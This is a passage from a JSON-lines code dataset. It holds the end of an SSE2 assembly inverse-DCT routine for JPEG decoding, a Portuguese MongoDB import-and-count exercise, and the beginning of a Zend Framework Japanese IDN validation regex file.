xmm3=tmp1\n\n movdqa xmm0, XMMWORD [wk(0)] ; xmm0=col1\n movdqa xmm5, XMMWORD [wk(1)] ; xmm5=col3\n\n movdqa XMMWORD [wk(0)], xmm2 ; wk(0)=tmp3\n movdqa XMMWORD [wk(1)], xmm6 ; wk(1)=tmp2\n\n ; -- Odd part\n\n ; xmm0=col1, xmm5=col3, xmm4=col5, xmm7=col7\n\n movdqa xmm2,xmm0\n movdqa xmm6,xmm4\n psubw xmm0,xmm7 ; xmm0=z12\n psubw xmm4,xmm5 ; xmm4=z10\n paddw xmm2,xmm7 ; xmm2=z11\n paddw xmm6,xmm5 ; xmm6=z13\n\n movdqa xmm7,xmm4 ; xmm7=z10(unscaled)\n psllw xmm0,PRE_MULTIPLY_SCALE_BITS\n psllw xmm4,PRE_MULTIPLY_SCALE_BITS\n\n movdqa xmm5,xmm2\n psubw xmm2,xmm6\n paddw xmm5,xmm6 ; xmm5=tmp7\n\n psllw xmm2,PRE_MULTIPLY_SCALE_BITS\n pmulhw xmm2,[rel PW_F1414] ; xmm2=tmp11\n\n ; To avoid overflow...\n ;\n ; (Original)\n ; tmp12 = -2.613125930 * z10 + z5;\n ;\n ; (This implementation)\n ; tmp12 = (-1.613125930 - 1) * z10 + z5;\n ; = -1.613125930 * z10 - z10 + z5;\n\n movdqa xmm6,xmm4\n paddw xmm4,xmm0\n pmulhw xmm4,[rel PW_F1847] ; xmm4=z5\n pmulhw xmm6,[rel PW_MF1613]\n pmulhw xmm0,[rel PW_F1082]\n psubw xmm6,xmm7\n psubw xmm0,xmm4 ; xmm0=tmp10\n paddw xmm6,xmm4 ; xmm6=tmp12\n\n ; -- Final output stage\n\n psubw xmm6,xmm5 ; xmm6=tmp6\n movdqa xmm7,xmm1\n movdqa xmm4,xmm3\n paddw xmm1,xmm5 ; xmm1=data0=(00 10 20 30 40 50 60 70)\n paddw xmm3,xmm6 ; xmm3=data1=(01 11 21 31 41 51 61 71)\n psraw xmm1,(PASS1_BITS+3) ; descale\n psraw xmm3,(PASS1_BITS+3) ; descale\n psubw xmm7,xmm5 ; xmm7=data7=(07 17 27 37 47 57 67 77)\n psubw xmm4,xmm6 ; xmm4=data6=(06 16 26 36 46 56 66 76)\n psraw xmm7,(PASS1_BITS+3) ; descale\n psraw xmm4,(PASS1_BITS+3) ; descale\n psubw xmm2,xmm6 ; xmm2=tmp5\n\n packsswb xmm1,xmm4 ; xmm1=(00 10 20 30 40 50 60 70 06 16 26 36 46 56 66 76)\n packsswb xmm3,xmm7 ; xmm3=(01 11 21 31 41 51 61 71 07 17 27 37 47 57 67 77)\n\n movdqa xmm5, XMMWORD [wk(1)] ; xmm5=tmp2\n movdqa xmm6, XMMWORD [wk(0)] ; xmm6=tmp3\n\n paddw xmm0,xmm2 ; xmm0=tmp4\n movdqa xmm4,xmm5\n movdqa xmm7,xmm6\n paddw xmm5,xmm2 ; xmm5=data2=(02 12 22 32 42 52 62 72)\n paddw xmm6,xmm0 ; xmm6=data4=(04 14 24 34 44 54 64 74)\n psraw xmm5,(PASS1_BITS+3) ; descale\n psraw xmm6,(PASS1_BITS+3) ; descale\n psubw xmm4,xmm2 ; xmm4=data5=(05 15 25 35 45 55 65 75)\n psubw xmm7,xmm0 ; xmm7=data3=(03 13 23 33 43 53 63 73)\n psraw xmm4,(PASS1_BITS+3) ; descale\n psraw xmm7,(PASS1_BITS+3) ; descale\n\n movdqa xmm2,[rel PB_CENTERJSAMP] ; xmm2=[rel PB_CENTERJSAMP]\n\n packsswb xmm5,xmm6 ; xmm5=(02 12 22 32 42 52 62 72 04 14 24 34 44 54 64 74)\n packsswb xmm7,xmm4 ; xmm7=(03 13 23 33 43 53 63 73 05 15 25 35 45 55 65 75)\n\n paddb xmm1,xmm2\n paddb xmm3,xmm2\n paddb xmm5,xmm2\n paddb xmm7,xmm2\n\n movdqa xmm0,xmm1 ; transpose coefficients(phase 1)\n punpcklbw xmm1,xmm3 ; xmm1=(00 01 10 11 20 21 30 31 40 41 50 51 60 61 70 71)\n punpckhbw xmm0,xmm3 ; xmm0=(06 07 16 17 26 27 36 37 46 47 56 57 66 67 76 77)\n movdqa xmm6,xmm5 ; transpose coefficients(phase 1)\n punpcklbw xmm5,xmm7 ; xmm5=(02 03 12 13 22 23 32 33 42 43 52 53 62 63 72 73)\n punpckhbw xmm6,xmm7 ; xmm6=(04 05 14 15 24 25 34 35 44 45 54 55 64 65 74 75)\n\n movdqa xmm4,xmm1 ; transpose coefficients(phase 2)\n punpcklwd xmm1,xmm5 ; xmm1=(00 01 02 03 10 11 12 13 20 21 22 23 30 31 32 33)\n punpckhwd xmm4,xmm5 ; xmm4=(40 41 42 43 50 51 52 53 60 61 62 63 70 71 72 73)\n movdqa xmm2,xmm6 ; transpose coefficients(phase 2)\n punpcklwd xmm6,xmm0 ; xmm6=(04 05 06 07 14 15 16 17 24 25 26 27 34 35 36 37)\n punpckhwd xmm2,xmm0 ; xmm2=(44 45 46 47 54 55 56 57 64 65 66 67 74 75 76 77)\n\n movdqa xmm3,xmm1 ; transpose coefficients(phase 3)\n punpckldq xmm1,xmm6 ; xmm1=(00 01 02 03 04 05 06 07 10 11 12 13 14 15 16 17)\n punpckhdq xmm3,xmm6 ; xmm3=(20 21 22 23 24 25 26 27 30 31 32 33 34 35 36 37)\n movdqa xmm7,xmm4 ; transpose coefficients(phase 3)\n punpckldq xmm4,xmm2 ; xmm4=(40 41 42 43 44 45 46 47 50 51 52 53 54 55 56 57)\n punpckhdq xmm7,xmm2 ; xmm7=(60 61 62 63 64 65 66 67 70 71 72 73 74 75 76 77)\n\n pshufd xmm5,xmm1,0x4E ; xmm5=(10 11 12 13 14 15 16 17 00 01 02 03 04 05 06 07)\n pshufd xmm0,xmm3,0x4E ; xmm0=(30 31 32 33 34 35 36 37 20 21 22 23 24 25 26 27)\n pshufd xmm6,xmm4,0x4E ; xmm6=(50 51 52 53 54 55 56 57 40 41 42 43 44 45 46 47)\n pshufd xmm2,xmm7,0x4E ; xmm2=(70 71 72 73 74 75 76 77 60 61 62 63 64 65 66 67)\n\n mov rdx, JSAMPROW [rdi+0*SIZEOF_JSAMPROW]\n mov rsi, JSAMPROW [rdi+2*SIZEOF_JSAMPROW]\n movq XMM_MMWORD [rdx+rax*SIZEOF_JSAMPLE], xmm1\n movq XMM_MMWORD [rsi+rax*SIZEOF_JSAMPLE], xmm3\n mov rdx, JSAMPROW [rdi+4*SIZEOF_JSAMPROW]\n mov rsi, JSAMPROW [rdi+6*SIZEOF_JSAMPROW]\n movq XMM_MMWORD [rdx+rax*SIZEOF_JSAMPLE], xmm4\n movq XMM_MMWORD [rsi+rax*SIZEOF_JSAMPLE], xmm7\n\n mov rdx, JSAMPROW [rdi+1*SIZEOF_JSAMPROW]\n mov rsi, JSAMPROW [rdi+3*SIZEOF_JSAMPROW]\n movq XMM_MMWORD [rdx+rax*SIZEOF_JSAMPLE], xmm5\n movq XMM_MMWORD [rsi+rax*SIZEOF_JSAMPLE], xmm0\n mov rdx, JSAMPROW [rdi+5*SIZEOF_JSAMPROW]\n mov rsi, JSAMPROW [rdi+7*SIZEOF_JSAMPROW]\n movq XMM_MMWORD [rdx+rax*SIZEOF_JSAMPLE], xmm6\n movq XMM_MMWORD [rsi+rax*SIZEOF_JSAMPLE], xmm2\n\n uncollect_args\n mov rsp,rbp ; rsp <- aligned rbp\n pop rsp ; rsp <- original rbp\n pop rbp\n ret\n ret\n\n; For some reason, the OS X linker does not honor the request to align the\n; segment unless we do this.\n align 16\n"} {"text": "# MongoDB - Aula 01 - Exercício\nautor: Angelo Rogério Rubin\n\n## Importando os restaurantes\n\n ```\n PS C:\\Projetos\\be-mean-instagram> mongoimport --db be-mean --collection restaurantes --drop --file C:\\data\\db\\restaurantes.json\n 2015-11-11T17:59:43.971-0200 connected to: localhost\n 2015-11-11T17:59:43.973-0200 dropping: be-mean.restaurantes\n 2015-11-11T17:59:45.363-0200 imported 25359 documents\n\n ```\n\n## Contando os restaurantes\n\n ```\n PS C:\\> mongo\n MongoDB shell version: 3.0.7\n connecting to: test\n > use be-mean\n switched to db be-mean\n > db.restaurantes.find({}).count()\n 25359\n\n ```"} {"text": "<?php\n/**\n * Zend Framework\n *\n * LICENSE\n *\n * This source file is subject to the new BSD license that is bundled\n * with this package in the file LICENSE.txt.\n * It is also available through the world-wide-web at this URL:\n * http://framework.zend.com/license/new-bsd\n * If you did not receive a copy of the license and are unable to\n * obtain it through the world-wide-web, please send an email\n * to license@zend.com so we can send you a copy immediately.\n *\n * @category Zend\n * @package Zend_Validate\n * @copyright Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)\n * @license http://framework.zend.com/license/new-bsd New BSD License\n * @version $Id$\n */\n\n/**\n * Ressource file for japanese idn validation\n *\n * @category Zend\n * @package Zend_Validate\n * @copyright Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)\n * @license http://framework.zend.com/license/new-bsd New BSD License\n */\nreturn array(\n 1 => '/^[\\x{002d}0-9a-z\\x{3005}-\\x{3007}\\x{3041}-\\x{3093}\\x{309D}\\x{309E}' .\n'\\x{30A1}-\\x{30F6}\\x{30FC}' .\n'\\x{30FD}\\x{30FE}\\x{4E00}\\x{4E01}\\x{4E03}\\x{4E07}\\x{4E08}\\x{4E09}\\x{4E0A}' .\n'\\x{4E0B}\\x{4E0D}\\x{4E0E}\\x{4E10}\\x{4E11}\\x{4E14}\\x{4E15}\\x{4E16}\\x{4E17}' .\n'\\x{4E18}\\x{4E19}\\x{4E1E}\\x{4E21}\\x{4E26}\\x{4E2A}\\x{4E2D}\\x{4E31}\\x{4E32}' .\n'\\x{4E36}\\x{4E38}\\x{4E39}\\x{4E3B}\\x{4E3C}\\x{4E3F}\\x{4E42}\\x{4E43}\\x{4E45}' .\n'\\x{4E4B}\\x{4E4D}\\x{4E4E}\\x{4E4F}\\x{4E55}\\x{4E56}\\x{4E57}\\x{4E58}\\x{4E59}' .\n'\\x{4E5D}\\x{4E5E}\\x{4E5F}\\x{4E62}\\x{4E71}\\x{4E73}\\x{4E7E}\\x{4E80}\\x{4E82}' .\n'\\x{4E85}\\x{4E86}\\x{4E88}\\x{4E89}\\x{4E8A}\\x{4E8B}\\x{4E8C}\\x{4E8E}\\x{4E91}' .\n'\\x{4E92}\\x{4E94}\\x{4E95}\\x{4E98}\\x{4E99}\\x{4E9B}\\x{4E9C}\\x{4E9E}\\x{4E9F}' .\n'\\x{4EA0}\\x{4EA1}\\x{4EA2}\\x{4EA4}\\x{4EA5}\\x{4EA6}\\x{4EA8}\\x{4EAB}\\x{4EAC}' .\n'\\x{4EAD}\\x{4EAE}\\x{4EB0}\\x{4EB3}\\x{4EB6}\\x{4EBA}\\x{4EC0}\\x{4EC1}\\x{4EC2}' .\n'\\x{4EC4}\\x{4EC6}\\x{4EC7}\\x{4ECA}\\x{4ECB}\\x{4ECD}\\x{4ECE}\\x{4ECF}\\x{4ED4}' .\n'\\x{4ED5}\\x{4ED6}\\x{4ED7}\\x{4ED8}\\x{4ED9}\\x{4EDD}\\x{4EDE}\\x{4EDF}\\x{4EE3}' .\n'\\x{4EE4}\\x{4EE5}\\x{4EED}\\x{4EEE}\\x{4EF0}\\x{4EF2}\\x{4EF6}\\x{4EF7}\\x{4EFB}' .\n'\\x{4F01}\\x{4F09}\\x{4F0A}\\x{4F0D}\\x{4F0E}\\x{4F0F}\\x{4F10}\\x{4F11}\\x{4F1A}' .\n'\\x{4F1C}\\x{4F1D}\\x{4F2F}\\x{4F30}\\x{4F34}\\x{4F36}\\x{4F38}\\x{4F3A}\\x{4F3C}' .\n'\\x{4F3D}\\x{4F43}\\x{4F46}\\x{4F47}\\x{4F4D}\\x{4F4E}\\x{4F4F}\\x{4F50}\\x{4F51}' .\n'\\x{4F53}\\x{4F55}\\x{4F57}\\x{4F59}\\x{4F5A}\\x{4F5B}\\x{4F5C}\\x{4F5D}\\x{4F5E}' .\n'\\x{4F69}\\x{4F6F}\\x{4F70}\\x{4F73}\\x{4F75}\\x{4F76}\\x{4F7B}\\x{4F7C}\\x{4F7F}' .\n'\\x{4F83}\\x{4F86}\\x{4F88}\\x{4F8B}\\x{4F8D}\\x{4F8F}\\x{4F91}\\x{4F96}\\x{4F98}' .\n'\\x{4F9B}\\x{4F9D}\\x{4FA0}\\x{4FA1}\\x{4FAB}\\x{4FAD}\\x{4FAE}\\x{4FAF}\\x{4FB5}' .\n'\\x{4FB6}\\x{4FBF}\\x{4FC2}\\x{4FC3}\\x{4FC4}\\x{4FCA}\\x{4FCE}\\x{4FD0}\\x{4FD1}' .\n'\\x{4FD4}\\x{4FD7}\\x{4FD8}\\x{4FDA}\\x{4FDB}\\x{4FDD}\\x{4FDF}\\x{4FE1}\\x{4FE3}' .\n'\\x{4FE4}\\x{4FE5}\\x{4FEE}\\x{4FEF}\\x{4FF3}\\x{4FF5}\\x{4FF6}\\x{4FF8}\\x{4FFA}' .\n'\\x{4FFE}\\x{5005}\\x{5006}\\x{5009}\\x{500B}\\x{500D}\\x{500F}\\x{5011}\\x{5012}' .\n'\\x{5014}\\x{5016}\\x{5019}\\x{501A}\\x{501F}\\x{5021}\\x{5023}\\x{5024}\\x{5025}' .\n'\\x{5026}\\x{5028}\\x{5029}\\x{502A}\\x{502B}\\x{502C}\\x{502D}\\x{5036}\\x{5039}' .\n'\\x{5043}\\x{5047}\\x{5048}\\x{5049}\\x{504F}\\x{5050}\\x{5055}\\x{5056}\\x{505A}' .\n'\\x{505C}\\x{5065}\\x{506C}\\x{5072}\\x{5074}\\x{5075}\\x{5076}\\x{5078}\\x{507D}' .\n'\\x{5080}\\x{5085}\\x{508D}\\x{5091}\\x{5098}\\x{5099}\\x{509A}\\x{50AC}\\x{50AD}' .\n'\\x{50B2}\\x{50B3}\\x{50B4}\\x{50B5}\\x{50B7}\\x{50BE}\\x{50C2}\\x{50C5}\\x{50C9}' .\n'\\x{50CA}\\x{50CD}\\x{50CF}\\x{50D1}\\x{50D5}\\x{50D6}\\x{50DA}\\x{50DE}\\x{50E3}' .\n'\\x{50E5}\\x{50E7}\\x{50ED}\\x{50EE}\\x{50F5}\\x{50F9}\\x{50FB}\\x{5100}\\x{5101}' .\n'\\x{5102}\\x{5104}\\x{5109}\\x{5112}\\x{5114}\\x{5115}\\x{5116}\\x{5118}\\x{511A}' .\n'\\x{511F}\\x{5121}\\x{512A}\\x{5132}\\x{5137}\\x{513A}\\x{513B}\\x{513C}\\x{513F}' .\n'\\x{5140}\\x{5141}\\x{5143}\\x{5144}\\x{5145}\\x{5146}\\x{5147}\\x{5148}\\x{5149}' .\n'\\x{514B}\\x{514C}\\x{514D}\\x{514E}\\x{5150}\\x{5152}\\x{5154}\\x{515A}\\x{515C}' .\n'\\x{5162}\\x{5165}\\x{5168}\\x{5169}\\x{516A}\\x{516B}\\x{516C}\\x{516D}\\x{516E}' .\n'\\x{5171}\\x{5175}\\x{5176}\\x{5177}\\x{5178}\\x{517C}\\x{5180}\\x{5182}\\x{5185}' .\n'\\x{5186}\\x{5189}\\x{518A}\\x{518C}\\x{518D}\\x{518F}\\x{5190}\\x{5191}\\x{5192}' .\n'\\x{5193}\\x{5195}\\x{5196}\\x{5197}\\x{5199}\\x{51A0}\\x{51A2}\\x{51A4}\\x{51A5}' .\n'\\x{51A6}\\x{51A8}\\x{51A9}\\x{51AA}\\x{51AB}\\x{51AC}\\x{51B0}\\x{51B1}\\x{51B2}' .\n'\\x{51B3}\\x{51B4}\\x{51B5}\\x{51B6}\\x{51B7}\\x{51BD}\\x{51C4}\\x{51C5}\\x{51C6}' .\n'\\x{51C9}\\x{51CB}\\x{51CC}\\x{51CD}\\x{51D6}\\x{51DB}\\x{51DC}\\x{51DD}\\x{51E0}' .\n'\\x{51E1}\\x{51E6}\\x{51E7}\\x{51E9}\\x{51EA}\\x{51ED}\\x{51F0}\\x{51F1}\\x{51F5}' .\n'\\x{51F6}\\x{51F8}\\x{51F9}\\x{51FA}\\x{51FD}\\x{51FE}\\x{5200}\\x{5203}\\x{5204}' .\n'\\x{5206}\\x{5207}\\x{5208}\\x{520A}\\x{520B}\\x{520E}\\x{5211}\\x{5214}\\x{5217}' .\n'\\x{521D}\\x{5224}\\x{5225}\\x{5227}\\x{5229}\\x{522A}\\x{522E}\\x{5230}\\x{5233}' .\n'\\x{5236}\\x{5237}\\x{5238}\\x{5239}\\x{523A}\\x{523B}\\x{5243}\\x{5244}\\x{5247}' .\n'\\x{524A}\\x{524B}\\x{524C}\\x{524D}\\x{524F}\\x{5254}\\x{5256}\\x{525B}\\x{525E}' .\n'\\x{5263}\\x{5264}\\x{5265}\\x{5269}\\x{526A}\\x{526F}\\x{5270}\\x{5271}\\x{5272}' .\n'\\x{5273}\\x{5274}\\x{5275}\\x{527D}\\x{527F}\\x{5283}\\x{5287}\\x{5288}\\x{5289}' .\n'\\x{528D}\\x{5291}\\x{5292}\\x{5294}\\x{529B}\\x{529F}\\x{52A0}\\x{52A3}\\x{52A9}' .\n'\\x{52AA}\\x{52AB}\\x{52AC}\\x{52AD}\\x{52B1}\\x{52B4}\\x{52B5}\\x{52B9}\\x{52BC}' .\n'\\x{52BE}\\x{52C1}\\x{52C3}\\x{52C5}\\x{52C7}\\x{52C9}\\x{52CD}\\x{52D2}\\x{52D5}' .\n'\\x{52D7}\\x{52D8}\\x{52D9}\\x{52DD}\\x{52DE}\\x{52DF}\\x{52E0}\\x{52E2}\\x{52E3}' .\n'\\x{52E4}\\x{52E6}\\x{52E7}\\x{52F2}\\x{52F3}\\x{52F5}\\x{52F8}\\x{52F9}\\x{52FA}' .\n'\\x{52FE}\\x{52FF}\\x{5301}\\x{5302}\\x{5305}\\x{5306}\\x{5308}\\x{530D}\\x{530F}' .\n'\\x{5310}\\x{5315}\\x{5316}\\x{5317}\\x{5319}\\x{531A}\\x{531D}\\x{5320}\\x{5321}' .\n'\\x{5323}\\x{532A}\\x{532F}\\x{5331}\\x{5333}\\x{5338}\\x{5339}\\x{533A}\\x{533B}' .\n'\\x{533F}\\x{5340}\\x{5341}\\x{5343}\\x{5345}\\x{5346}\\x{5347}\\x{5348}\\x{5349}' .\n'\\x{534A}\\x{534D}\\x{5351}\\x{5352}\\x{5353}\\x{5354}\\x{5357}\\x{5358}\\x{535A}' .\n'\\x{535C}\\x{535E}\\x{5360}\\x{5366}\\x{5369}\\x{536E}\\x{536F}\\x{5370}\\x{5371}' .\n'\\x{5373}\\x{5374}\\x{5375}\\x{5377}\\x{5378}\\x{537B}\\x{537F}\\x{5382}\\x{5384}' .\n'\\x{5396}\\x{5398}\\x{539A}\\x{539F}\\x{53A0}\\x{53A5}\\x{53A6}\\x{53A8}\\x{53A9}' .\n'\\x{53AD}\\x{53AE}\\x{53B0}\\x{53B3}\\x{53B6}\\x{53BB}\\x{53C2}\\x{53C3}\\x{53C8}' .\n'\\x{53C9}\\x{53CA}\\x{53CB}\\x{53CC}\\x{53CD}\\x{53CE}\\x{53D4}\\x{53D6}\\x{53D7}' .\n'\\x{53D9}\\x{53DB}\\x{53DF}\\x{53E1}\\x{53E2}\\x{53E3}\\x{53E4}\\x{53E5}\\x{53E8}' .\n'\\x{53E9}\\x{53EA}\\x{53EB}\\x{53EC}\\x{53ED}\\x{53EE}\\x{53EF}\\x{53F0}\\x{53F1}' .\n'\\x{53F2}\\x{53F3}\\x{53F6}\\x{53F7}\\x{53F8}\\x{53FA}\\x{5401}\\x{5403}\\x{5404}' .\n'\\x{5408}\\x{5409}\\x{540A}\\x{540B}\\x{540C}\\x{540D}\\x{540E}\\x{540F}\\x{5410}' .\n'\\x{5411}\\x{541B}\\x{541D}\\x{541F}\\x{5420}\\x{5426}\\x{5429}\\x{542B}\\x{542C}' .\n'\\x{542D}\\x{542E}\\x{5436}\\x{5438}\\x{5439}\\x{543B}\\x{543C}\\x{543D}\\x{543E}' .\n'\\x{5440}\\x{5442}\\x{5446}\\x{5448}\\x{5449}\\x{544A}\\x{544E}\\x{5451}\\x{545F}' .\n'\\x{5468}\\x{546A}\\x{5470}\\x{5471}\\x{5473}\\x{5475}\\x{5476}\\x{5477}\\x{547B}' .\n'\\x{547C}\\x{547D}\\x{5480}\\x{5484}\\x{5486}\\x{548B}\\x{548C}\\x{548E}\\x{548F}' .\n'\\x{5490}\\x{5492}\\x{54A2}\\x{54A4}\\x{54A5}\\x{54A8}\\x{54AB}\\x{54AC}\\x{54AF}' .\n'\\x{54B2}\\x{54B3}\\x{54B8}\\x{54BC}\\x{54BD}\\x{54BE}\\x{54C0}\\x{54C1}\\x{54C2}' .\n'\\x{54C4}\\x{54C7}\\x{54C8}\\x{54C9}\\x{54D8}\\x{54E1}\\x{54E2}\\x{54E5}\\x{54E6}' .\n'\\x{54E8}\\x{54E9}\\x{54ED}\\x{54EE}\\x{54F2}\\x{54FA}\\x{54FD}\\x{5504}\\x{5506}' .\n'\\x{5507}\\x{550F}\\x{5510}\\x{5514}\\x{5516}\\x{552E}\\x{552F}\\x{5531}\\x{5533}' .\n'\\x{5538}\\x{5539}\\x{553E}\\x{5540}\\x{5544}\\x{5545}\\x{5546}\\x{554C}\\x{554F}' .\n'\\x{5553}\\x{5556}\\x{5557}\\x{555C}\\x{555D}\\x{5563}\\x{557B}\\x{557C}\\x{557E}' .\n'\\x{5580}\\x{5583}\\x{5584}\\x{5587}\\x{5589}\\x{558A}\\x{558B}\\x{5598}\\x{5599}' .\n'\\x{559A}\\x{559C}\\x{559D}\\x{559E}\\x{559F}\\x{55A7}\\x{55A8}\\x{55A9}\\x{55AA}' .\n'\\x{55AB}\\x{55AC}\\x{55AE}\\x{55B0}\\x{55B6}\\x{55C4}\\x{55C5}\\x{55C7}\\x{55D4}' .\n'\\x{55DA}\\x{55DC}\\x{55DF}\\x{55E3}\\x{55E4}\\x{55F7}\\x{55F9}\\x{55FD}\\x{55FE}' .\n'\\x{5606}\\x{5609}\\x{5614}\\x{5616}\\x{5617}\\x{5618}\\x{561B}\\x{5629}\\x{562F}' .\n'\\x{5631}\\x{5632}\\x{5634}\\x{5636}\\x{5638}\\x{5642}\\x{564C}\\x{564E}\\x{5650}' .\n'\\x{565B}\\x{5664}\\x{5668}\\x{566A}\\x{566B}\\x{566C}\\x{5674}\\x{5678}\\x{567A}' .\n'\\x{5680}\\x{5686}\\x{5687}\\x{568A}\\x{568F}\\x{5694}\\x{56A0}\\x{56A2}\\x{56A5}' .\n'\\x{56AE}\\x{56B4}\\x{56B6}\\x{56BC}\\x{56C0}\\x{56C1}\\x{56C2}\\x{56C3}\\x{56C8}' .\n'\\x{56CE}\\x{56D1}\\x{56D3}\\x{56D7}\\x{56D8}\\x{56DA}\\x{56DB}\\x{56DE}\\x{56E0}' .\n'\\x{56E3}\\x{56EE}\\x{56F0}\\x{56F2}\\x{56F3}\\x{56F9}\\x{56FA}\\x{56FD}\\x{56FF}' .\n'\\x{5700}\\x{5703}\\x{5704}\\x{5708}\\x{5709}\\x{570B}\\x{570D}\\x{570F}\\x{5712}' .\n'\\x{5713}\\x{5716}\\x{5718}\\x{571C}\\x{571F}\\x{5726}\\x{5727}\\x{5728}\\x{572D}' .\n'\\x{5730}\\x{5737}\\x{5738}\\x{573B}\\x{5740}\\x{5742}\\x{5747}\\x{574A}\\x{574E}' .\n'\\x{574F}\\x{5750}\\x{5751}\\x{5761}\\x{5764}\\x{5766}\\x{5769}\\x{576A}\\x{577F}' .\n'\\x{5782}\\x{5788}\\x{5789}\\x{578B}\\x{5793}\\x{57A0}\\x{57A2}\\x{57A3}\\x{57A4}' .\n'\\x{57AA}\\x{57B0}\\x{57B3}\\x{57C0}\\x{57C3}\\x{57C6}\\x{57CB}\\x{57CE}\\x{57D2}' .\n'\\x{57D3}\\x{57D4}\\x{57D6}\\x{57DC}\\x{57DF}\\x{57E0}\\x{57E3}\\x{57F4}\\x{57F7}' .\n'\\x{57F9}\\x{57FA}\\x{57FC}\\x{5800}\\x{5802}\\x{5805}\\x{5806}\\x{580A}\\x{580B}' .\n'\\x{5815}\\x{5819}\\x{581D}\\x{5821}\\x{5824}\\x{582A}\\x{582F}\\x{5830}\\x{5831}' .\n'\\x{5834}\\x{5835}\\x{583A}\\x{583D}\\x{5840}\\x{5841}\\x{584A}\\x{584B}\\x{5851}' .\n'\\x{5852}\\x{5854}\\x{5857}\\x{5858}\\x{5859}\\x{585A}\\x{585E}\\x{5862}\\x{5869}' .\n'\\x{586B}\\x{5870}\\x{5872}\\x{5875}\\x{5879}\\x{587E}\\x{5883}\\x{5885}\\x{5893}' .\n'\\x{5897}\\x{589C}\\x{589F}\\x{58A8}\\x{58AB}\\x{58AE}\\x{58B3}\\x{58B8}\\x{58B9}' .\n'\\x{58BA}\\x{58BB}\\x{58BE}\\x{58C1}\\x{58C5}\\x{58C7}\\x{58CA}\\x{58CC}\\x{58D1}' .\n'\\x{58D3}\\x{58D5}\\x{58D7}\\x{58D8}\\x{58D9}\\x{58DC}\\x{58DE}\\x{58DF}\\x{58E4}' .\n'\\x{58E5}\\x{58EB}\\x{58EC}\\x{58EE}\\x{58EF}\\x{58F0}\\x{58F1}\\x{58F2}\\x{58F7}' .\n'\\x{58F9}\\x{58FA}\\x{58FB}\\x{58FC}\\x{58FD}\\x{5902}\\x{5909}\\x{590A}\\x{590F}' .\n'\\x{5910}\\x{5915}\\x{5916}\\x{5918}\\x{5919}\\x{591A}\\x{591B}\\x{591C}\\x{5922}' .\n'\\x{5925}\\x{5927}\\x{5929}\\x{592A}\\x{592B}\\x{592C}\\x{592D}\\x{592E}\\x{5931}' .\n'\\x{5932}\\x{5937}\\x{5938}\\x{593E}\\x{5944}\\x{5947}\\x{5948}\\x{5949}\\x{594E}' .\n'\\x{594F}\\x{5950}\\x{5951}\\x{5954}\\x{5955}\\x{5957}\\x{5958}\\x{595A}\\x{5960}' .\n'\\x{5962}\\x{5965}\\x{5967}\\x{5968}\\x{5969}\\x{596A}\\x{596C}\\x{596E}\\x{5973}' .\n'\\x{5974}\\x{5978}\\x{597D}\\x{5981}\\x{5982}\\x{5983}\\x{5984}\\x{598A}\\x{598D}' .\n'\\x{5993}\\x{5996}\\x{5999}\\x{599B}\\x{599D}\\x{59A3}\\x{59A5}\\x{59A8}\\x{59AC}' .\n'\\x{59B2}\\x{59B9}\\x{59BB}\\x{59BE}\\x{59C6}\\x{59C9}\\x{59CB}\\x{59D0}\\x{59D1}' .\n'\\x{59D3}\\x{59D4}\\x{59D9}\\x{59DA}\\x{59DC}\\x{59E5}\\x{59E6}\\x{59E8}\\x{59EA}' .\n'\\x{59EB}\\x{59F6}\\x{59FB}\\x{59FF}\\x{5A01}\\x{5A03}\\x{5A09}\\x{5A11}\\x{5A18}' .\n'\\x{5A1A}\\x{5A1C}\\x{5A1F}\\x{5A20}\\x{5A25}\\x{5A29}\\x{5A2F}\\x{5A35}\\x{5A36}' .\n'\\x{5A3C}\\x{5A40}\\x{5A41}\\x{5A46}\\x{5A49}\\x{5A5A}\\x{5A62}\\x{5A66}\\x{5A6A}' .\n'\\x{5A6C}\\x{5A7F}\\x{5A92}\\x{5A9A}\\x{5A9B}\\x{5ABC}\\x{5ABD}\\x{5ABE}\\x{5AC1}' .\n'\\x{5AC2}\\x{5AC9}\\x{5ACB}\\x{5ACC}\\x{5AD0}\\x{5AD6}\\x{5AD7}\\x{5AE1}\\x{5AE3}' .\n'\\x{5AE6}\\x{5AE9}\\x{5AFA}\\x{5AFB}\\x{5B09}\\x{5B0B}\\x{5B0C}\\x{5B16}\\x{5B22}' .\n'\\x{5B2A}\\x{5B2C}\\x{5B30}\\x{5B32}\\x{5B36}\\x{5B3E}\\x{5B40}\\x{5B43}\\x{5B45}' .\n'\\x{5B50}\\x{5B51}\\x{5B54}\\x{5B55}\\x{5B57}\\x{5B58}\\x{5B5A}\\x{5B5B}\\x{5B5C}' .\n'\\x{5B5D}\\x{5B5F}\\x{5B63}\\x{5B64}\\x{5B65}\\x{5B66}\\x{5B69}\\x{5B6B}\\x{5B70}' .\n'\\x{5B71}\\x{5B73}\\x{5B75}\\x{5B78}\\x{5B7A}\\x{5B80}\\x{5B83}\\x{5B85}\\x{5B87}' .\n'\\x{5B88}\\x{5B89}\\x{5B8B}\\x{5B8C}\\x{5B8D}\\x{5B8F}\\x{5B95}\\x{5B97}\\x{5B98}' .\n'\\x{5B99}\\x{5B9A}\\x{5B9B}\\x{5B9C}\\x{5B9D}\\x{5B9F}\\x{5BA2}\\x{5BA3}\\x{5BA4}' .\n'\\x{5BA5}\\x{5BA6}\\x{5BAE}\\x{5BB0}\\x{5BB3}\\x{5BB4}\\x{5BB5}\\x{5BB6}\\x{5BB8}' .\n'\\x{5BB9}\\x{5BBF}\\x{5BC2}\\x{5BC3}\\x{5BC4}\\x{5BC5}\\x{5BC6}\\x{5BC7}\\x{5BC9}' .\n'\\x{5BCC}\\x{5BD0}\\x{5BD2}\\x{5BD3}\\x{5BD4}\\x{5BDB}\\x{5BDD}\\x{5BDE}\\x{5BDF}' .\n'\\x{5BE1}\\x{5BE2}\\x{5BE4}\\x{5BE5}\\x{5BE6}\\x{5BE7}\\x{5BE8}\\x{5BE9}\\x{5BEB}' .\n'\\x{5BEE}\\x{5BF0}\\x{5BF3}\\x{5BF5}\\x{5BF6}\\x{5BF8}\\x{5BFA}\\x{5BFE}\\x{5BFF}' .\n'\\x{5C01}\\x{5C02}\\x{5C04}\\x{5C05}\\x{5C06}\\x{5C07}\\x{5C08}\\x{5C09}\\x{5C0A}' .\n'\\x{5C0B}\\x{5C0D}\\x{5C0E}\\x{5C0F}\\x{5C11}\\x{5C13}\\x{5C16}\\x{5C1A}\\x{5C20}' 